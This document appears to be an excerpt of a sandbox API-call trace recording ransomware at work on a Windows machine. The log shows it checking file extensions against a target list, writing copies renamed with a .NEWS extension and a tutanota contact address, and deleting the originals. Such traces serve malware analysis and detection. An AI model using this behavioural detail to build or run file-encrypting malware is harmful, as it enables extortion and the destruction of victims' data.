[0094.108] lstrlenW (lpString=".rar") returned 4 [0094.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.108] lstrlenW (lpString=".bz2") returned 4 [0094.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString=".7z") returned 3 [0094.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString=".dbf") returned 4 [0094.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString=".1cd") returned 4 [0094.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString=".jpg") returned 4 [0094.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString=".doc") returned 4 [0094.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString=".docx") returned 5 [0094.109] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0094.109] lstrlenW (lpString=".pdf") returned 4 [0094.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString=".xls") returned 4 [0094.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.109] lstrlenW (lpString=".xlsx") returned 5 [0094.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0094.109] lstrlenW (lpString=".ppt") returned 4 [0094.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.109] lstrlenW (lpString=".zip") returned 4 [0094.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.109] lstrlenW (lpString=".rar") returned 4 [0094.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString=".bz2") returned 4 [0094.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.109] lstrlenW (lpString=".7z") returned 3 [0094.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.110] lstrlenW (lpString=".dbf") returned 4 [0094.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.110] lstrlenW (lpString=".1cd") returned 4 [0094.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.110] lstrlenW (lpString=".jpg") returned 4 [0094.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.110] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.110] lstrlenW (lpString="J0105414.WMF") returned 12 [0094.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.110] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6244) returned 1 [0094.110] CloseHandle (hObject=0x398) returned 1 [0094.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0094.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.111] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.111] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0094.111] GetLastError () returned 0x0 [0094.111] ReadFile (hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0) Thread: id = 16 os_tid = 0xa54 [0060.891] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x37b0980 [0060.891] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x37c0988 [0060.891] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bf0 [0060.892] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e238 [0060.892] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c08 [0060.892] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3c44020 [0060.894] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c20 [0060.894] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c20, Size=0x20) returned 0x4ceba8 [0060.894] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c20 [0060.894] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c20, Size=0x20) returned 0x4ced38 [0060.894] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.895] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.895] Wow64DisableWow64FsRedirection (in: OldValue=0x325ff50 | out: OldValue=0x325ff50*=0x0) returned 1 [0060.895] lstrlenW (lpString="kernel32.dll") returned 12 [0060.895] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.895] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.895] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.895] Sleep (dwMilliseconds=0x64) [0061.275] lstrcmpiW (lpString1=".log", lpString2=".NEWS") returned -1 [0061.275] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0061.275] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.276] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=40) returned 1 [0061.276] CloseHandle (hObject=0x2d0) returned 1 [0061.276] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0061.277] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.277] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.277] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.277] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.277] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0061.277] GetLastError () returned 0x0 [0061.277] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x28, lpOverlapped=0x0) returned 1 [0061.296] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x30, lpOverlapped=0x0) returned 1 [0061.297] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.297] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x110, lpOverlapped=0x0) returned 1 [0061.298] SetEndOfFile (hFile=0x2d4) returned 1 [0061.298] CloseHandle (hObject=0x2d4) returned 1 [0061.299] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.299] SetEndOfFile (hFile=0x2d0) returned 1 [0061.300] CloseHandle (hObject=0x2d0) returned 1 [0061.300] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.300] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0061.301] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.301] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.301] lstrlenW (lpString=".doc") returned 4 [0061.301] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.301] lstrlenW (lpString=".docx") returned 5 [0061.301] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0061.301] lstrlenW (lpString=".pdf") returned 4 [0061.301] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.301] lstrlenW (lpString=".xls") returned 4 [0061.301] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.301] lstrlenW (lpString=".xlsx") returned 5 [0061.301] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0061.301] lstrlenW (lpString=".ppt") returned 4 [0061.301] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.301] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.301] lstrlenW (lpString=".zip") returned 4 [0061.301] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.301] lstrlenW (lpString=".rar") returned 4 [0061.301] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.301] lstrlenW (lpString=".bz2") returned 4 [0061.301] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.301] lstrlenW (lpString=".7z") returned 3 [0061.301] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.301] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.301] lstrlenW (lpString=".dbf") returned 4 [0061.301] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.301] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.302] lstrlenW (lpString=".1cd") returned 4 [0061.302] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.302] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.302] lstrlenW (lpString=".jpg") returned 4 [0061.302] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.302] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.302] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.302] lstrlenW (lpString=".doc") returned 4 [0061.302] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.302] lstrlenW (lpString=".docx") returned 5 [0061.302] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0061.302] lstrlenW (lpString=".pdf") returned 4 [0061.302] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.302] lstrlenW (lpString=".xls") returned 4 [0061.302] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.302] lstrlenW (lpString=".xlsx") returned 5 [0061.302] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0061.302] lstrlenW (lpString=".ppt") returned 4 [0061.302] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.302] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.302] lstrlenW (lpString=".zip") returned 4 [0061.302] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.302] lstrlenW (lpString=".rar") returned 4 [0061.302] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.302] lstrlenW (lpString=".bz2") returned 4 [0061.302] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.303] lstrlenW (lpString=".7z") returned 3 [0061.303] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.303] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.303] lstrlenW (lpString=".dbf") returned 4 [0061.303] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.303] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.303] lstrlenW (lpString=".1cd") returned 4 [0061.303] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.303] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0061.303] lstrlenW (lpString=".jpg") returned 4 [0061.303] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.303] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0061.303] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0061.303] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.305] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=156) returned 1 [0061.305] CloseHandle (hObject=0x2d0) returned 1 [0061.305] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0061.305] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.305] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.306] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.306] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0061.306] GetLastError () returned 0x0 [0061.306] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x9c, lpOverlapped=0x0) returned 1 [0061.619] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xa0, lpOverlapped=0x0) returned 1 [0061.620] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.620] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x100, lpOverlapped=0x0) returned 1 [0061.620] SetEndOfFile (hFile=0x2d4) returned 1 [0061.620] CloseHandle (hObject=0x2d4) returned 1 [0061.626] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.626] SetEndOfFile (hFile=0x2d0) returned 1 [0061.627] CloseHandle (hObject=0x2d0) returned 1 [0061.627] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.627] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0061.627] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".doc") returned 4 [0061.628] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.628] lstrlenW (lpString=".docx") returned 5 [0061.628] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0061.628] lstrlenW (lpString=".pdf") returned 4 [0061.628] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString=".xls") returned 4 [0061.628] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString=".xlsx") returned 5 [0061.628] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0061.628] lstrlenW (lpString=".ppt") returned 4 [0061.628] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".zip") returned 4 [0061.628] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString=".rar") returned 4 [0061.628] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString=".bz2") returned 4 [0061.628] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.628] lstrlenW (lpString=".7z") returned 3 [0061.628] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".dbf") returned 4 [0061.628] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".1cd") returned 4 [0061.628] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".jpg") returned 4 [0061.628] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.628] lstrlenW (lpString=".doc") returned 4 [0061.628] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.629] lstrlenW (lpString=".docx") returned 5 [0061.629] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0061.629] lstrlenW (lpString=".pdf") returned 4 [0061.629] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.629] lstrlenW (lpString=".xls") returned 4 [0061.629] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.629] lstrlenW (lpString=".xlsx") returned 5 [0061.629] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0061.629] lstrlenW (lpString=".ppt") returned 4 [0061.629] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.629] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.629] lstrlenW (lpString=".zip") returned 4 [0061.629] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.629] lstrlenW (lpString=".rar") returned 4 [0061.629] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.629] lstrlenW (lpString=".bz2") returned 4 [0061.629] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.629] lstrlenW (lpString=".7z") returned 3 [0061.629] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.629] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.629] lstrlenW (lpString=".dbf") returned 4 [0061.629] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.629] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.629] lstrlenW (lpString=".1cd") returned 4 [0061.629] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.629] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0061.629] lstrlenW (lpString=".jpg") returned 4 [0061.629] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.629] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0061.629] lstrlenW (lpString="eula.rtf") returned 8 [0061.630] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.630] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7567) returned 1 [0061.630] CloseHandle (hObject=0x2d0) returned 1 [0061.630] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0061.630] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.631] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.631] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.631] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.631] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0061.631] GetLastError () returned 0x0 [0061.631] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0061.638] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0061.639] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: 